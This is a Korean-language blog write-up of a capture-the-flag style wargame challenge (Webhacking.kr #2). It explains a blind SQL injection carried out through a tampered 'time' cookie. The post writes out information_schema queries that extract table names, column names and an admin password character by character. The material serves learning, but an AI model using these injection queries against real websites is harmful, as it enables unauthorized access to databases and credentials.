본문 바로가기
Wargame/Webhacking.kr

[Webhacking.kr#2] WriteUp 보며 분석

by 맑은청이 2020. 9. 15.
728x90
반응형

 

오늘은 못 풀었던 2번 문제에 대해 WriteUP을 풀면서 몰랐던 지식을 채워봅시다. 

그 오른쪽에 있는 저 세개의 쌓인 원반은 '데이터베이스' 마크입니다. 

 

소스코드를 통해 admin.php 로 들어가야한다는 걸 알 수 있습니다.

사실 문제를 풀때 이 부분을 신경 안썼었고 쿠키에 time 값이 있었지만 의심을 하지 않았는데 왜 그랬는지 잘 모르겠습니다. 이게 완전 힌트인데 말이죠.

 

time 쿠키값을 변조합니다. 저는 크롬 확장 'Edit the Cookie'을 사용하였습니다.

 

1을 넣어주니 뜬금없이 '2070-01-01 09:00:02' 가 나와습니다.

2를 넣어주니 초 단위가 '2' 로 변했네요. 

 

0을 넣어주니 홈페이지가 새로고침 되면서 원상태로 돌아가네요. 

 

이는 거짓일 때 주석 부분을 감추기 위한 거겠죠? 뭐가 있는거 같아요. 

 

SQL Injection 공격을 시도해봅시다. 

 

참이면 09:00:01 거짓이면 09:00:00 이 나오네요.

 

 

이와 같이 SQL문에 대해 참과 거짓의 대답이 있을 경우에는 Blind SQL Injection 공격을 할 수 있다고 합니다. 이에 대한 정보는 'poci 님의 해커 성장일기 ' 블로그를 참조했습니다.

 

 

poci.tistory.com/52

 

Blind SQL Injection 공격

저번에 SQL Injection 공격을 설명드렸습니다. SQL Injection 공격 : https://poci.tistory.com/49 SQL Injection 공격 SQL Injection 공격은 웹해킹에서 가장 많이 쓰이는 공격 기법 중 하나입니다. SQL와 In..

poci.tistory.com

 

Blind SQL Injection과 SQL Injection

SQL Injection : SQL 문을 보냄으로써 정보를 한번에 알 수 있음 

Blind SQL Injection : SQL 문을 보냄으로써 서버의 참과 거짓의 반응으로 정보를 얻는 기술 

 

이렇게 질문으로 정보를 알아내기 때문에 노가다성과 해킹의 흔적이 남을 가능성이 높기 때문에 대부분의 해커들은 파이썬을 사용해 SQL문을 자동화해 던지는 프로그램을 사용한다고 합니다. 

 

 

 

저희가 풀고있는 문제에서는 DB명과 테이블명을 가르쳐주지 않았기 때문에 알아내야합니다. 

 

-테이블 이름 알아내기

 

select count(table_name) from information_schema.tables where table_schema=database()

 

이건 현재 위치한 데이터베이스의 테이블 수를 검색하는 구문입니다.

 

이러면 09:00:02 가 되기 때문에 테이블의 수가 2개임을 알 수 있습니다.

 

select length(table_name) from information_schema.tables where table_schema=database() limit 0,1

 

이렇게 치면 09:00:13 이 나오는데 첫번째 테이블 이름이 13자리인거를 알 수 있어요.

여기서 노가다로 한 글자씩 검색할지 파이썬으로 웹 크롤링을 할지 결정해야합니다. 

 

select ascii(substring(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1 

이 sql 문은 현재 위치한 데이터 베이스 테이블 중 첫번째 테이블 명의 첫번째 단어를 아스키 코드로 출력하는 구문입니다. 

 

여기서 09:01:37로 나오네요. 아스키 코드 97은 'a' 입니다. 첫번째 단어가 'a' 라는 것을 알 수 있습니다. 

두번째 단어 1:40 -> 100 -> 'd'

세번째 단어 1:49 -> 109 -> 'm'

네번째 단어 1:45 -> 105 -> 'i'

'admi..'

왠지 administrator일거 같은 느낌이 빡 드네요. 

 

 

두번째 테이블도 계산하니 다행히 길이가 3이네요.

이를 노가다로 구하고 컬럼명을 구해서 

select count(column_name) from information_schema.columns where table_name="테이블명" 

이러면 이 테이블에 컬럼 수를 알 수 있습니다.

 

select length(column_name) from information_schema.columns where table_name="테이블명" 

이러면 컬럼의 글자 수를 알 수 있죠. 

 

그러면 어떤 글자인지 알려면 

 

select ascii(substring(column_name,1,1)) from information_schema.columns where table_name="테이블명"

이를 통해 1번째 단어를 알 수 있습니다. 

 

select ascii(substring(column_name,2,1)) from information_schema.columns where table_name="테이블명"

이를 통해 2번째 단어를 알 수 있습니다. 

 

 

 

 

-패스워드 알아내기

이제 테이블명과 칼럼 명을 알기 때문에 패스워드를 알아낼 수 있습니다. 

select length(칼럼 명) from (테이블 명) 

이렇게 하면 패스워드의 길이를 알 수 있습니다. 

 

select ascii(substring(column_name,1,1)) from 테이블명

select ascii(substring(column_name,2,1)) from 테이블명

select ascii(substring(column_name,3,1)) from 테이블명

.

.

.

이렇게 하면 최종 패스워드를 알 수 있습니다. 

이 패스워드를 admin.php를 입력해주면 됩니다. 

 


나는 왜 이 문제를 풀지 못했나?

 

1. SQL문에 대한 지식 부족 -> 아직 sql 문 작성을 하지 못함 

2. 데이터 베이스에 대한 지식 부족

3. Blind SQL 이 뭔지도 몰랐음 

4. time 쿠키 값을 통한 SQL Injection 몰랐음 

5. time을 보고도 지나가버림

 

-> 공부 해야할 것 : SQL,데이터베이스,Blind Injection 

 

 

728x90
반응형